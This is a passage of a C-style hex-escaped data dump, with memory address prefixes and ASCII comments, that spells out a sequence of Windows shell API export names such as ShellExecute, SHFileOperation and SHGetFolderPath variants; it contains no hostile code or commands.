\"\\x72\\x65\\x61\\x6D\\x00\\x49\\x6E\\x74\\x65\\x72\\x6E\\x61\\x6C\\x45\\x78\\x74\"   //ream.InternalExt\n/* 7C9EAD30 */   \"\\x72\\x61\\x63\\x74\\x49\\x63\\x6F\\x6E\\x4C\\x69\\x73\\x74\\x41\\x00\\x49\\x6E\"   //ractIconListA.In\n/* 7C9EAD50 */   \"\\x74\\x65\\x72\\x6E\\x61\\x6C\\x45\\x78\\x74\\x72\\x61\\x63\\x74\\x49\\x63\\x6F\"   //ternalExtractIco\n/* 7C9EAD70 */   \"\\x6E\\x4C\\x69\\x73\\x74\\x57\\x00\\x49\\x73\\x4C\\x46\\x4E\\x44\\x72\\x69\\x76\"   //nListW.IsLFNDriv\n/* 7C9EAD90 */   \"\\x65\\x00\\x49\\x73\\x4C\\x46\\x4E\\x44\\x72\\x69\\x76\\x65\\x41\\x00\\x49\\x73\"   //e.IsLFNDriveA.Is\n/* 7C9EADB0 */   \"\\x4C\\x46\\x4E\\x44\\x72\\x69\\x76\\x65\\x57\\x00\\x49\\x73\\x4E\\x65\\x74\\x44\"   //LFNDriveW.IsNetD\n/* 7C9EADD0 */   \"\\x72\\x69\\x76\\x65\\x00\\x49\\x73\\x55\\x73\\x65\\x72\\x41\\x6E\\x41\\x64\\x6D\"   //rive.IsUserAnAdm\n/* 7C9EADF0 */   \"\\x69\\x6E\\x00\\x4F\\x70\\x65\\x6E\\x41\\x73\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\"   //in.OpenAs_RunDLL\n/* 7C9EAE10 */   \"\\x00\\x4F\\x70\\x65\\x6E\\x41\\x73\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x41\\x00\"   //.OpenAs_RunDLLA.\n/* 7C9EAE30 */   \"\\x4F\\x70\\x65\\x6E\\x41\\x73\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x57\\x00\\x4F\"   //OpenAs_RunDLLW.O\n/* 7C9EAE50 */   \"\\x70\\x65\\x6E\\x52\\x65\\x67\\x53\\x74\\x72\\x65\\x61\\x6D\\x00\\x4F\\x70\\x74\"   //penRegStream.Opt\n/* 7C9EAE70 */   \"\\x69\\x6F\\x6E\\x73\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x00\\x4F\\x70\\x74\\x69\"   //ions_RunDLL.Opti\n/* 7C9EAE90 */   \"\\x6F\\x6E\\x73\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x41\\x00\\x4F\\x70\\x74\\x69\"   //ons_RunDLLA.Opti\n/* 7C9EAEB0 */   \"\\x6F\\x6E\\x73\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x57\\x00\\x50\\x61\\x74\\x68\"   //ons_RunDLLW.Path\n/* 7C9EAED0 */   \"\\x43\\x6C\\x65\\x61\\x6E\\x75\\x70\\x53\\x70\\x65\\x63\\x00\\x50\\x61\\x74\\x68\"   //CleanupSpec.Path\n/* 7C9EAEF0 */   \"\\x47\\x65\\x74\\x53\\x68\\x6F\\x72\\x74\\x50\\x61\\x74\\x68\\x00\\x50\\x61\\x74\"   //GetShortPath.Pat\n/* 7C9EAF10 */   \"\\x68\\x49\\x73\\x45\\x78\\x65\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x53\\x6C\\x6F\"   //hIsExe.PathIsSlo\n/* 7C9EAF30 */   \"\\x77\\x41\\x00\\x50\\x61\\x74\\x68\\x49\\x73\\x53\\x6C\\x6F\\x77\\x57\\x00\\x50\"   //wA.PathIsSlowW.P\n/* 7C9EAF50 */   \"\\x61\\x74\\x68\\x4D\\x61\\x6B\\x65\\x55\\x6E\\x69\\x71\\x75\\x65\\x4E\\x61\\x6D\"   //athMakeUniqueNam\n/* 7C9EAF70 */   \"\\x65\\x00\\x50\\x61\\x74\\x68\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x43\\x6F\\x6D\"   //e.PathProcessCom\n/* 7C9EAF90 */   \"\\x6D\\x61\\x6E\\x64\\x00\\x50\\x61\\x74\\x68\\x51\\x75\\x61\\x6C\\x69\\x66\\x79\"   //mand.PathQualify\n/* 7C9EAFB0 */   \"\\x00\\x50\\x61\\x74\\x68\\x52\\x65\\x73\\x6F\\x6C\\x76\\x65\\x00\\x50\\x61\\x74\"   //.PathResolve.Pat\n/* 7C9EAFD0 */   \"\\x68\\x59\\x65\\x74\\x41\\x6E\\x6F\\x74\\x68\\x65\\x72\\x4D\\x61\\x6B\\x65\\x55\"   //hYetAnotherMakeU\n/* 7C9EAFF0 */   \"\\x6E\\x69\\x71\\x75\\x65\\x4E\\x61\\x6D\\x65\\x00\\x50\\x69\\x63\\x6B\\x49\\x63\"   //niqueName.PickIc\n/* 7C9EB010 */   \"\\x6F\\x6E\\x44\\x6C\\x67\\x00\\x50\\x69\\x66\\x4D\\x67\\x72\\x5F\\x43\\x6C\\x6F\"   //onDlg.PifMgr_Clo\n/* 7C9EB030 */   \"\\x73\\x65\\x50\\x72\\x6F\\x70\\x65\\x72\\x74\\x69\\x65\\x73\\x00\\x50\\x69\\x66\"   //seProperties.Pif\n/* 7C9EB050 */   \"\\x4D\\x67\\x72\\x5F\\x47\\x65\\x74\\x50\\x72\\x6F\\x70\\x65\\x72\\x74\\x69\\x65\"   //Mgr_GetPropertie\n/* 7C9EB070 */   \"\\x73\\x00\\x50\\x69\\x66\\x4D\\x67\\x72\\x5F\\x4F\\x70\\x65\\x6E\\x50\\x72\\x6F\"   //s.PifMgr_OpenPro\n/* 7C9EB090 */   \"\\x70\\x65\\x72\\x74\\x69\\x65\\x73\\x00\\x50\\x69\\x66\\x4D\\x67\\x72\\x5F\\x53\"   //perties.PifMgr_S\n/* 7C9EB0B0 */   \"\\x65\\x74\\x50\\x72\\x6F\\x70\\x65\\x72\\x74\\x69\\x65\\x73\\x00\\x50\\x72\\x69\"   //etProperties.Pri\n/* 7C9EB0D0 */   \"\\x6E\\x74\\x65\\x72\\x73\\x47\\x65\\x74\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x5F\"   //ntersGetCommand_\n/* 7C9EB0F0 */   \"\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x00\\x50\\x72\\x69\\x6E\\x74\\x65\\x72\\x73\\x47\"   //RunDLL.PrintersG\n/* 7C9EB110 */   \"\\x65\\x74\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\"   //etCommand_RunDLL\n/* 7C9EB130 */   \"\\x41\\x00\\x50\\x72\\x69\\x6E\\x74\\x65\\x72\\x73\\x47\\x65\\x74\\x43\\x6F\\x6D\"   //A.PrintersGetCom\n/* 7C9EB150 */   \"\\x6D\\x61\\x6E\\x64\\x5F\\x52\\x75\\x6E\\x44\\x4C\\x4C\\x57\\x00\\x52\\x65\\x61\"   //mand_RunDLLW.Rea\n/* 7C9EB170 */   \"\\x64\\x43\\x61\\x62\\x69\\x6E\\x65\\x74\\x53\\x74\\x61\\x74\\x65\\x00\\x52\\x65\"   //dCabinetState.Re\n/* 7C9EB190 */   \"\\x61\\x6C\\x44\\x72\\x69\\x76\\x65\\x54\\x79\\x70\\x65\\x00\\x52\\x65\\x61\\x6C\"   //alDriveType.Real\n/* 7C9EB1B0 */   \"\\x53\\x68\\x65\\x6C\\x6C\\x45\\x78\\x65\\x63\\x75\\x74\\x65\\x41\\x00\\x52\\x65\"   //ShellExecuteA.Re\n/* 7C9EB1D0 */   \"\\x61\\x6C\\x53\\x68\\x65\\x6C\\x6C\\x45\\x78\\x65\\x63\\x75\\x74\\x65\\x45\\x78\"   //alShellExecuteEx\n/* 7C9EB1F0 */   \"\\x41\\x00\\x52\\x65\\x61\\x6C\\x53\\x68\\x65\\x6C\\x6C\\x45\\x78\\x65\\x63\\x75\"   //A.RealShellExecu\n/* 7C9EB210 */   \"\\x74\\x65\\x45\\x78\\x57\\x00\\x52\\x65\\x61\\x6C\\x53\\x68\\x65\\x6C\\x6C\\x45\"   //teExW.RealShellE\n/* 7C9EB230 */   \"\\x78\\x65\\x63\\x75\\x74\\x65\\x57\\x00\\x52\\x65\\x67\\x65\\x6E\\x65\\x72\\x61\"   //xecuteW.Regenera\n/* 7C9EB250 */   \"\\x74\\x65\\x55\\x73\\x65\\x72\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\"   //teUserEnvironmen\n/* 7C9EB270 */   \"\\x74\\x00\\x52\\x65\\x73\\x74\\x61\\x72\\x74\\x44\\x69\\x61\\x6C\\x6F\\x67\\x00\"   //t.RestartDialog.\n/* 7C9EB290 */   \"\\x52\\x65\\x73\\x74\\x61\\x72\\x74\\x44\\x69\\x61\\x6C\\x6F\\x67\\x45\\x78\\x00\"   //RestartDialogEx.\n/* 7C9EB2B0 */   \"\\x53\\x48\\x41\\x64\\x64\\x46\\x72\\x6F\\x6D\\x50\\x72\\x6F\\x70\\x53\\x68\\x65\"   //SHAddFromPropShe\n/* 7C9EB2D0 */   \"\\x65\\x74\\x45\\x78\\x74\\x41\\x72\\x72\\x61\\x79\\x00\\x53\\x48\\x41\\x64\\x64\"   //etExtArray.SHAdd\n/* 7C9EB2F0 */   \"\\x54\\x6F\\x52\\x65\\x63\\x65\\x6E\\x74\\x44\\x6F\\x63\\x73\\x00\\x53\\x48\\x41\"   //ToRecentDocs.SHA\n/* 7C9EB310 */   \"\\x6C\\x6C\\x6F\\x63\\x00\\x53\\x48\\x41\\x6C\\x6C\\x6F\\x63\\x53\\x68\\x61\\x72\"   //lloc.SHAllocShar\n/* 7C9EB330 */   \"\\x65\\x64\\x00\\x53\\x48\\x41\\x70\\x70\\x42\\x61\\x72\\x4D\\x65\\x73\\x73\\x61\"   //ed.SHAppBarMessa\n/* 7C9EB350 */   \"\\x67\\x65\\x00\\x53\\x48\\x42\\x69\\x6E\\x64\\x54\\x6F\\x50\\x61\\x72\\x65\\x6E\"   //ge.SHBindToParen\n/* 7C9EB370 */   \"\\x74\\x00\\x53\\x48\\x42\\x72\\x6F\\x77\\x73\\x65\\x46\\x6F\\x72\\x46\\x6F\\x6C\"   //t.SHBrowseForFol\n/* 7C9EB390 */   \"\\x64\\x65\\x72\\x00\\x53\\x48\\x42\\x72\\x6F\\x77\\x73\\x65\\x46\\x6F\\x72\\x46\"   //der.SHBrowseForF\n/* 7C9EB3B0 */   \"\\x6F\\x6C\\x64\\x65\\x72\\x41\\x00\\x53\\x48\\x42\\x72\\x6F\\x77\\x73\\x65\\x46\"   //olderA.SHBrowseF\n/* 7C9EB3D0 */   \"\\x6F\\x72\\x46\\x6F\\x6C\\x64\\x65\\x72\\x57\\x00\\x53\\x48\\x43\\x4C\\x53\\x49\"   //orFolderW.SHCLSI\n/* 7C9EB3F0 */   \"\\x44\\x46\\x72\\x6F\\x6D\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x53\\x48\\x43\\x68\"   //DFromString.SHCh\n/* 7C9EB410 */   \"\\x61\\x6E\\x67\\x65\\x4E\\x6F\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\"   //angeNotification\n/* 7C9EB430 */   \"\\x5F\\x4C\\x6F\\x63\\x6B\\x00\\x53\\x48\\x43\\x68\\x61\\x6E\\x67\\x65\\x4E\\x6F\"   //_Lock.SHChangeNo\n/* 7C9EB450 */   \"\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x5F\\x55\\x6E\\x6C\\x6F\\x63\"   //tification_Unloc\n/* 7C9EB470 */   \"\\x6B\\x00\\x53\\x48\\x43\\x68\\x61\\x6E\\x67\\x65\\x4E\\x6F\\x74\\x69\\x66\\x79\"   //k.SHChangeNotify\n/* 7C9EB490 */   \"\\x00\\x53\\x48\\x43\\x68\\x61\\x6E\\x67\\x65\\x4E\\x6F\\x74\\x69\\x66\\x79\\x44\"   //.SHChangeNotifyD\n/* 7C9EB4B0 */   \"\\x65\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x00\\x53\\x48\\x43\\x68\\x61\\x6E\"   //eregister.SHChan\n/* 7C9EB4D0 */   \"\\x67\\x65\\x4E\\x6F\\x74\\x69\\x66\\x79\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\"   //geNotifyRegister\n/* 7C9EB4F0 */   \"\\x00\\x53\\x48\\x43\\x68\\x61\\x6E\\x67\\x65\\x4E\\x6F\\x74\\x69\\x66\\x79\\x53\"   //.SHChangeNotifyS\n/* 7C9EB510 */   \"\\x75\\x73\\x70\\x65\\x6E\\x64\\x52\\x65\\x73\\x75\\x6D\\x65\\x00\\x53\\x48\\x43\"   //uspendResume.SHC\n/* 7C9EB530 */   \"\\x6C\\x6F\\x6E\\x65\\x53\\x70\\x65\\x63\\x69\\x61\\x6C\\x49\\x44\\x4C\\x69\\x73\"   //loneSpecialIDLis\n/* 7C9EB550 */   \"\\x74\\x00\\x53\\x48\\x43\\x6F\\x43\\x72\\x65\\x61\\x74\\x65\\x49\\x6E\\x73\\x74\"   //t.SHCoCreateInst\n/* 7C9EB570 */   \"\\x61\\x6E\\x63\\x65\\x00\\x53\\x48\\x43\\x72\\x65\\x61\\x74\\x65\\x44\\x69\\x72\"   //ance.SHCreateDir\n/* 7C9EB590 */   \"\\x65\\x63\\x74\\x6F\\x72\\x79\\x00\\x53\\x48\\x43\\x72\\x65\\x61\\x74\\x65\\x44\"   //ectory.SHCreateD\n/* 7C9EB5B0 */   \"\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x45\\x78\\x41\\x00\\x53\\x48\\x43\\x72\"   //irectoryExA.SHCr\n/* 7C9EB5D0 */   \"\\x65\\x61\\x74\\x65\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x45\\x78\\x57\"   //eateDirectoryExW\n/* 7C9EB5F0 */   \"\\x00\\x53\\x48\\x43\\x72\\x65\\x61\\x74\\x65\\x46\\x69\\x6C\\x65\\x45\\x78\\x74\"   //.SHCreateFileExt\n/* 7C9EB610 */   \"\\x72\\x61\\x63\\x74\\x49\\x63\\x6F\\x6E\\x57\\x00\\x53\\x48\\x43\\x72\\x65\\x61\"   //ractIconW.SHCrea\n/* 7C9EB630 */   \"\\x74\\x65\\x4C\\x6F\\x63\\x61\\x6C\\x53\\x65\\x72\\x76\\x65\\x72\\x52\\x75\\x6E\"   //teLocalServerRun\n/* 7C9EB650 */   \"\\x44\\x6C\\x6C\\x00\\x53\\x48\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x6F\\x63\"   //Dll.SHCreateProc\n/* 7C9EB670 */   \"\\x65\\x73\\x73\\x41\\x73\\x55\\x73\\x65\\x72\\x57\\x00\\x53\\x48\\x43\\x72\\x65\"   //essAsUserW.SHCre\n/* 7C9EB690 */   \"\\x61\\x74\\x65\\x50\\x72\\x6F\\x70\\x53\\x68\\x65\\x65\\x74\\x45\\x78\\x74\\x41\"   //atePropSheetExtA\n/* 7C9EB6B0 */   \"\\x72\\x72\\x61\\x79\\x00\\x53\\x48\\x43\\x72\\x65\\x61\\x74\\x65\\x51\\x75\\x65\"   //rray.SHCreateQue\n/* 7C9EB6D0 */   \"\\x72\\x79\\x43\\x61\\x6E\\x63\\x65\\x6C\\x41\\x75\\x74\\x6F\\x50\\x6C\\x61\\x79\"   //ryCancelAutoPlay\n/* 7C9EB6F0 */   \"\\x4D\\x6F\\x6E\\x69\\x6B\\x65\\x72\\x00\\x53\\x48\\x43\\x72\\x65\\x61\\x74\\x65\"   //Moniker.SHCreate\n/* 7C9EB710 */   \"\\x53\\x68\\x65\\x6C\\x6C\\x46\\x6F\\x6C\\x64\\x65\\x72\\x56\\x69\\x65\\x77\\x00\"   //ShellFolderView.\n/* 7C9EB730 */   \"\\x53\\x48\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x68\\x65\\x6C\\x6C\\x46\\x6F\\x6C\"   //SHCreateShellFol\n/* 7C9EB750 */   \"\\x64\\x65\\x72\\x56\\x69\\x65\\x77\\x45\\x78\\x00\\x53\\x48\\x43\\x72\\x65\\x61\"   //derViewEx.SHCrea\n/* 7C9EB770 */   \"\\x74\\x65\\x53\\x68\\x65\\x6C\\x6C\\x49\\x74\\x65\\x6D\\x00\\x53\\x48\\x43\\x72\"   //teShellItem.SHCr\n/* 7C9EB790 */   \"\\x65\\x61\\x74\\x65\\x53\\x74\\x64\\x45\\x6E\\x75\\x6D\\x46\\x6D\\x74\\x45\\x74\"   //eateStdEnumFmtEt\n/* 7C9EB7B0 */   \"\\x63\\x00\\x53\\x48\\x44\\x65\\x66\\x45\\x78\\x74\\x72\\x61\\x63\\x74\\x49\\x63\"   //c.SHDefExtractIc\n/* 7C9EB7D0 */   \"\\x6F\\x6E\\x41\\x00\\x53\\x48\\x44\\x65\\x66\\x45\\x78\\x74\\x72\\x61\\x63\\x74\"   //onA.SHDefExtract\n/* 7C9EB7F0 */   \"\\x49\\x63\\x6F\\x6E\\x57\\x00\\x53\\x48\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x50\"   //IconW.SHDestroyP\n/* 7C9EB810 */   \"\\x72\\x6F\\x70\\x53\\x68\\x65\\x65\\x74\\x45\\x78\\x74\\x41\\x72\\x72\\x61\\x79\"   //ropSheetExtArray\n/* 7C9EB830 */   \"\\x00\\x53\\x48\\x44\\x6F\\x44\\x72\\x61\\x67\\x44\\x72\\x6F\\x70\\x00\\x53\\x48\"   //.SHDoDragDrop.SH\n/* 7C9EB850 */   \"\\x45\\x6D\\x70\\x74\\x79\\x52\\x65\\x63\\x79\\x63\\x6C\\x65\\x42\\x69\\x6E\\x41\"   //EmptyRecycleBinA\n/* 7C9EB870 */   \"\\x00\\x53\\x48\\x45\\x6D\\x70\\x74\\x79\\x52\\x65\\x63\\x79\\x63\\x6C\\x65\\x42\"   //.SHEmptyRecycleB\n/* 7C9EB890 */   \"\\x69\\x6E\\x57\\x00\\x53\\x48\\x45\\x6E\\x61\\x62\\x6C\\x65\\x53\\x65\\x72\\x76\"   //inW.SHEnableServ\n/* 7C9EB8B0 */   \"\\x69\\x63\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x53\\x48\\x45\\x6E\\x75\\x6D\"   //iceObject.SHEnum\n/* 7C9EB8D0 */   \"\\x65\\x72\\x61\\x74\\x65\\x55\\x6E\\x72\\x65\\x61\\x64\\x4D\\x61\\x69\\x6C\\x41\"   //erateUnreadMailA\n/* 7C9EB8F0 */   \"\\x63\\x63\\x6F\\x75\\x6E\\x74\\x73\\x57\\x00\\x53\\x48\\x45\\x78\\x74\\x72\\x61\"   //ccountsW.SHExtra\n/* 7C9EB910 */   \"\\x63\\x74\\x49\\x63\\x6F\\x6E\\x73\\x57\\x00\\x53\\x48\\x46\\x69\\x6C\\x65\\x4F\"   //ctIconsW.SHFileO\n/* 7C9EB930 */   \"\\x70\\x65\\x72\\x61\\x74\\x69\\x6F\\x6E\\x00\\x53\\x48\\x46\\x69\\x6C\\x65\\x4F\"   //peration.SHFileO\n/* 7C9EB950 */   \"\\x70\\x65\\x72\\x61\\x74\\x69\\x6F\\x6E\\x41\\x00\\x53\\x48\\x46\\x69\\x6C\\x65\"   //perationA.SHFile\n/* 7C9EB970 */   \"\\x4F\\x70\\x65\\x72\\x61\\x74\\x69\\x6F\\x6E\\x57\\x00\\x53\\x48\\x46\\x69\\x6E\"   //OperationW.SHFin\n/* 7C9EB990 */   \"\\x64\\x46\\x69\\x6C\\x65\\x73\\x00\\x53\\x48\\x46\\x69\\x6E\\x64\\x5F\\x49\\x6E\"   //dFiles.SHFind_In\n/* 7C9EB9B0 */   \"\\x69\\x74\\x4D\\x65\\x6E\\x75\\x50\\x6F\\x70\\x75\\x70\\x00\\x53\\x48\\x46\\x6C\"   //itMenuPopup.SHFl\n/* 7C9EB9D0 */   \"\\x75\\x73\\x68\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\\x64\\x00\\x53\\x48\\x46\"   //ushClipboard.SHF\n/* 7C9EB9F0 */   \"\\x6C\\x75\\x73\\x68\\x53\\x46\\x43\\x61\\x63\\x68\\x65\\x00\\x53\\x48\\x46\\x6F\"   //lushSFCache.SHFo\n/* 7C9EBA10 */   \"\\x72\\x6D\\x61\\x74\\x44\\x72\\x69\\x76\\x65\\x00\\x53\\x48\\x46\\x72\\x65\\x65\"   //rmatDrive.SHFree\n/* 7C9EBA30 */   \"\\x00\\x53\\x48\\x46\\x72\\x65\\x65\\x4E\\x61\\x6D\\x65\\x4D\\x61\\x70\\x70\\x69\"   //.SHFreeNameMappi\n/* 7C9EBA50 */   \"\\x6E\\x67\\x73\\x00\\x53\\x48\\x46\\x72\\x65\\x65\\x53\\x68\\x61\\x72\\x65\\x64\"   //ngs.SHFreeShared\n/* 7C9EBA70 */   \"\\x00\\x53\\x48\\x47\\x65\\x74\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x73\"   //.SHGetAttributes\n/* 7C9EBA90 */   \"\\x46\\x72\\x6F\\x6D\\x44\\x61\\x74\\x61\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x53\"   //FromDataObject.S\n/* 7C9EBAB0 */   \"\\x48\\x47\\x65\\x74\\x44\\x61\\x74\\x61\\x46\\x72\\x6F\\x6D\\x49\\x44\\x4C\\x69\"   //HGetDataFromIDLi\n/* 7C9EBAD0 */   \"\\x73\\x74\\x41\\x00\\x53\\x48\\x47\\x65\\x74\\x44\\x61\\x74\\x61\\x46\\x72\\x6F\"   //stA.SHGetDataFro\n/* 7C9EBAF0 */   \"\\x6D\\x49\\x44\\x4C\\x69\\x73\\x74\\x57\\x00\\x53\\x48\\x47\\x65\\x74\\x44\\x65\"   //mIDListW.SHGetDe\n/* 7C9EBB10 */   \"\\x73\\x6B\\x74\\x6F\\x70\\x46\\x6F\\x6C\\x64\\x65\\x72\\x00\\x53\\x48\\x47\\x65\"   //sktopFolder.SHGe\n/* 7C9EBB30 */   \"\\x74\\x44\\x69\\x73\\x6B\\x46\\x72\\x65\\x65\\x53\\x70\\x61\\x63\\x65\\x41\\x00\"   //tDiskFreeSpaceA.\n/* 7C9EBB50 */   \"\\x53\\x48\\x47\\x65\\x74\\x44\\x69\\x73\\x6B\\x46\\x72\\x65\\x65\\x53\\x70\\x61\"   //SHGetDiskFreeSpa\n/* 7C9EBB70 */   \"\\x63\\x65\\x45\\x78\\x41\\x00\\x53\\x48\\x47\\x65\\x74\\x44\\x69\\x73\\x6B\\x46\"   //ceExA.SHGetDiskF\n/* 7C9EBB90 */   \"\\x72\\x65\\x65\\x53\\x70\\x61\\x63\\x65\\x45\\x78\\x57\\x00\\x53\\x48\\x47\\x65\"   //reeSpaceExW.SHGe\n/* 7C9EBBB0 */   \"\\x74\\x46\\x69\\x6C\\x65\\x49\\x6E\\x66\\x6F\\x00\\x53\\x48\\x47\\x65\\x74\\x46\"   //tFileInfo.SHGetF\n/* 7C9EBBD0 */   \"\\x69\\x6C\\x65\\x49\\x6E\\x66\\x6F\\x41\\x00\\x53\\x48\\x47\\x65\\x74\\x46\\x69\"   //ileInfoA.SHGetFi\n/* 7C9EBBF0 */   \"\\x6C\\x65\\x49\\x6E\\x66\\x6F\\x57\\x00\\x53\\x48\\x47\\x65\\x74\\x46\\x6F\\x6C\"   //leInfoW.SHGetFol\n/* 7C9EBC10 */   \"\\x64\\x65\\x72\\x4C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\\x00\\x53\\x48\\x47\\x65\"   //derLocation.SHGe\n/* 7C9EBC30 */   \"\\x74\\x46\\x6F\\x6C\\x64\\x65\\x72\\x50\\x61\\x74\\x68\\x41\\x00\\x53\\x48\\x47\"   //tFolderPathA.SHG\n/* 7C9EBC50 */   \"\\x65\\x74\\x46\\x6F\\x6C\\x64\\x65\\x72\\x50\\x61\\x74\\x68\\x41\\x6E\\x64\\x53\"   //etFolderPathAndS\n/* 7C9EBC70 */   \"\\x75\\x62\\x44\\x69\\x72\\x41\\x00\\x53\\x48\\x47\\x65\\x74\\x46\\x6F\\x6C\\x64\"   //ubDirA.SHGetFold\n/* 7C9EBC90 */   \"\\x65\\x72\\x50\\x61\\x74\\x68\\x41\\x6E\\x64\\x53\\x75\\x62\\x44\\x69\\x72\\x57\"   //erPathAndSubDirW\n/* 7C9EBCB0 */   \"\\x00\\x53\\x48\\x47\\x65\\x74\\x46\\x6F\\x6C\\x64\\x65\\x72\\x50\\x61\\x74\\x68\"   //.SHGetFolderPath\n/* 7C9EBCD0 */   \"\\x57\\x00\\x53\\x48\\x47\\x65\\x74\\x49\\x63\\x6F\\x6E\\x4F\\x76\\x65\\x72\\x6C\"   //W.SHGetIconOverl\n/* 7C9EBCF0 */   \"\\x61\\x79\\x49\\x6E\\x64\\x65\\x78\\x41\\x00\\x53\\x48\\x47\\x65\\x74\\x49\\x63\"   //ayIndexA.SHGetIc\n/* 7C9EBD10 */   \"\\x6F\\x6E\\x4F\\x76\\x65\\x72\\x6C\\x61\\x79\\x49\\x6E\\x64\\x65\\x78\\x57\\x00\"   //onOverlayIndexW.\n/* 7C9EBD30 */   \"\\x53\\x48\\x47\\x65\\x74\\x49\\x6D\\x61\\x67\\x65\\x4C\\x69\\x73\\x74\\x00\\x53\"   //SHGetImageList.S\n/* 7C9EBD50 */   \"\\x48\\x47\\x65\\x74\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x45\\x78\\x70\\x6C\"   //HGetInstanceExpl\n/* 7C9EBD70 */   \"\\x6F\\x72\\x65\\x72\\x00\\x53\\x48\\x47\\x65\\x74\\x4D\\x61\\x6C\\x6C\\x6F\\x63\"   //orer.SHGetMalloc\n/* 7C9EBD90 */   \"\\x00\\x53\\x48\\x47\\x65\\x74\\x4E\\x65\\x77\\x4C\\x69\\x6E\\x6B\\x49\\x6E\\x66\"   //.SHGetNewLinkInf\n/* 7C9EBDB0 */   \"\\x6F\\x00\\x53\\x48\\x47\\x65\\x74\\x4E\\x65\\x77\\x4C\\x69\\x6E\\x6B\\x49\\x6E\"   //o.SHGetNewLinkIn\n/* 7C9EBDD0 */   \"\\x66\\x6F\\x41\\x00\\x53\\x48\\x47\\x65\\x74\\x4E\\x65\\x77\\x4C\\x69\\x6E\\x6B\"   //foA.SHGetNewLink\n/* 7C9EBDF0 */   \"\\x49\\x6E\\x66\\x6F\\x57\\x00\\x53\\x48\\x47\\x65\\x74\\x50\\x61\\x74\\x68\\x46\"   //InfoW.SHGetPathF\n/* 7C9EBE10 */   \"\\x72\\x6F\\x6D\\x49\\x44\\x4C\\x69\\x73\\x74\\x00\\x53\\x48\\x47\\x65\\x74\\x50\"   //romIDList.SHGetP\n/* 7C9EBE30 */   \"\\x61\\x74\\x68\\x46\\x72\\x6F\\x6D\\x49\\x44\\x4C\\x69\\x73\\x74\\x41\\x00\\x53\"   //athFromIDListA.S\n/* 7C9EBE50 */   \"\\x48\\x47\\x65\\x74\\x50\\x61\\x74\\x68\\x46\\x72\\x6F\\x6D\\x49\\x44\\x4C\\x69\"   //HGetPathFromIDLi\n/* 7C9EBE70 */   \"\\x73\\x74\\x57\\x00\\x53\\x48\\x47\\x65\\x74\\x52\\x65\\x61\\x6C\\x49\\x44\\x4C\"   //stW.SHGetRealIDL\n/* 7C9EBE90 */   \"\\x00\\x53\\x48\\x47\\x65\\x74\\x53\\x65\\x74\\x46\\x6F\\x6C\\x64\\x65\\x72\\x43\"   //.SHGetSetFolderC\n/* 7C9EBEB0 */   \"\\x75\\x73\\x74\\x6F\\x6D\\x53\\x65\\x74\\x74\\x69\\x6E\\x67\\x73\\x57\\x00\\x53\"   //ustomSettingsW.S\n/* 7C9EBED0 */   \"\\x48\\x47\\x65\\x74\\x53\\x65\\x74\\x53\\x65\\x74\\x74\\x69\\x6E\\x67\\x73\\x00\"   //HGetSetSettings.\n/* 7C9EBEF0 */   \"\\x53\\x48\\x47\\x65\\x74\\x53\\x65\\x74\\x74\\x69\\x6E\\x67\\x73\\x00\\x53\\x48\"   //SHGetSettings.SH\n/* 7C9EBF10 */   \"\\x47\\x65\\x74\\x53\\x68\\x65\\x6C\\x6C\\x53\\x74\\x79\\x6C\\x65\\x48\\x49\\x6E\"   //GetShellStyleHIn\n/* 7C9EBF30 */   \"\\x73\\x74\\x61\\x6E\\x63\\x65\\x00\\x53\\x48\\x47\\x65\\x74\\x53\\x70\\x65\\x63\"   //stance.SHGetSpec\n/* 7C9EBF50 */   \"\\x69\\x61\\x6C\\x46\\x6F\\x6C\\x64\\x65\\x72\\x4C\\x6F\\x63\\x61\\x74\\x69\\x6F\"   //ialFolderLocatio\n/* 7C9EBF70 */   \"\\x6E\\x00\\x53\\x48\\x47\\x65\\x74\\x53\\x70\\x65\\x63\\x69\\x61\\x6C\\x46\\x6F\"   //n.SHGetSpecialFo\n/* 7C9EBF90 */   \"\\x6C\\x64\\x65\\x72\\x50\\x61\\x74\\x68\\x41\\x00\\x53\\x48\\x47\\x65\\x74\\x53\"   //lderPathA.SHGetS\n/* 7C9EBFB0 */   \"\\x70\\x65\\x63\\x69\\x61\\x6C\\x46\\x6F\\x6C\\x64\\x65\\x72\\x50\\x61\\x74\\x68\"   //pecialFolderPath\n/* 7C9EBFD0 */   \"\\x57\\x00\\x53\\x48\\x47\\x65\\x74\\x55\\x6E\\x72\\x65\\x61\\x64\\x4D\\x61\\x69\"   //W.SHGetUnreadMai\n/* 7C9EBFF0 */   \"\\x6C\\x43\\x6F\\x75\\x6E\\x74\\x57\\x00\\x53\\x48\\x48\\x61\\x6E\\x64\\x6C\\x65\"   //lCountW.SHHandle\n/* 7C9EC010 */   